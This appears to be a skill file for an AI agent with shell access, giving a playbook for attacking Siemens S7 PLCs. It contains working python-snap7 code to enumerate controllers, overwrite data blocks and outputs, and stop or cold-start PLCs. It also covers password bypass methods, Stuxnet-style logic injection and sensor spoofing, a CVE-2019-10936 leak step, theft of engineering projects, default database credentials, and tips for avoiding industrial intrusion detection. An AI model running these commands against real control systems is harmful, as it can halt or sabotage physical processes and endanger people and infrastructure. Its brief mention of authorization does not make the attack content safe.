| name | ics-s7comm |
| description | Siemens S7 PLC attack — TCP/102 ISO-TP+S7-COMM, snap7 / python-snap7 enumeration, DB/M/E/A area read+write, PLC stop/start/run, password bypass (S7-300/400 vs S7-1200/1500 differences), CVE chain (e.g., Stuxnet's legacy primitives, CVE-2019-10936). |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"siemens s7 s7comm s7-300 s7-400 s7-1200 s7-1500 plc tia portal iso-tp tsap 102 snap7 step7","subdomain":"ics-ot","tags":"siemens, s7, plc, ics, ot","mitre_attack":"T0855, T0836, T0816"} |
Siemens S7 PLC Attack
S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.
Discover
nmap -p 102 --script=s7-info 10.0.0.0/24
python3 -c '
import snap7
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1) # IP, rack, slot
print(c.get_cpu_info())
print(c.get_cp_info())
print(c.get_order_code())
'
Read / Write data blocks
S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).
import snap7
from snap7 import util
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)
data = c.db_read(10, 0, 100)
print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0))
print("DB10.DBW2 (int):", util.get_int(data, 2))
print("DB10.DBD4 (real):", util.get_real(data, 4))
util.set_real(data, 4, 99.9)
c.db_write(10, 0, data)
Stop / Start the PLC
c.plc_stop()
c.plc_hot_start()
c.plc_cold_start()
Authentication / "Protection Level" differences
| PLC family | Default protection | Bypass class |
|---|
| S7-300/400 | Often none ("No Protection") | Direct |
| S7-1200 (FW < V4) | None or password (cleartext on wire) | Sniff password |
| S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash |
| S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack |
c.set_session_password("changeme")
Stuxnet-class primitives (S7-300/400 still in many old fleets)
- Function block tampering: write a custom FB that replaces an existing one — process logic silently changes.
- OB1 hook: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.
- PROFIBUS frame injection (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.
c.write_area(0x84, 1, 0, bytearray([0xFF]))
CVE-2019-10936 — info leak on S7-1200/1500
Send a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares):
python3 leak.py 10.0.0.50
TIA Portal interaction
If you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:
- Steal the project file (
.ap16) — contains every PLC's logic, comments, possibly password hashes
- Replace the project being deployed to inject persistent logic changes
- Default TIA Portal SQL — port 1433 with default sa / no password on older installs
OPSEC + safety
- Physical safety:
plc_stop() halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing.
- Read-only enumeration is generally safe and silent. S7 has no audit log.
- IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources — first connection from your IP is loud.
- Siemens TIA Portal logs every project upload/download. Tampering with logic is detectable post-engagement during the next checksum review.
References
- snap7 docs — snap7.sourceforge.net
- "The S7Comm protocol" — Wireshark dissector docs
- ICS-CERT advisories on Siemens products (https://www.cisa.gov/uscert/ics/advisories)
- "Stuxnet Deep Dive" — Ralph Langner (still the canonical reference)